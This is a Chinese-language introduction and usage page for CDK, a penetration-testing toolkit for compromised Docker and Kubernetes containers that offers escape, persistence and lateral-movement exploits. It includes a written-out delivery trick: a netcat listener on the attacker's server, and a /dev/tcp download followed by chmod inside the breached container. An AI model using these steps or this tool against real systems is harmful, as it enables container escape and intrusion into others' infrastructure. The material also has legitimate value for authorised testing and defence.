介绍
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
下载/植入
将可执行文件投递到已攻入的容器内部开始使用
https://github.com/cdk-team/CDK/releases/
技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK
如果你的漏洞利用过程允许上传文件,即可直接植入CDK。
如果你可以在目标容器中执行命令(RCE),但容器中没有wget
或curl
命令,可以参考下面方法植入:
-
将CDK下载到你的公网服务器,监听端口:
nc -lvp 999 < cdk
-
在已攻入的目标容器中执行:
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
使用方法
Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weekness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/Xyntax/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
功能
CDK包括三个功能模块
-
Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
-
Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
-
Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。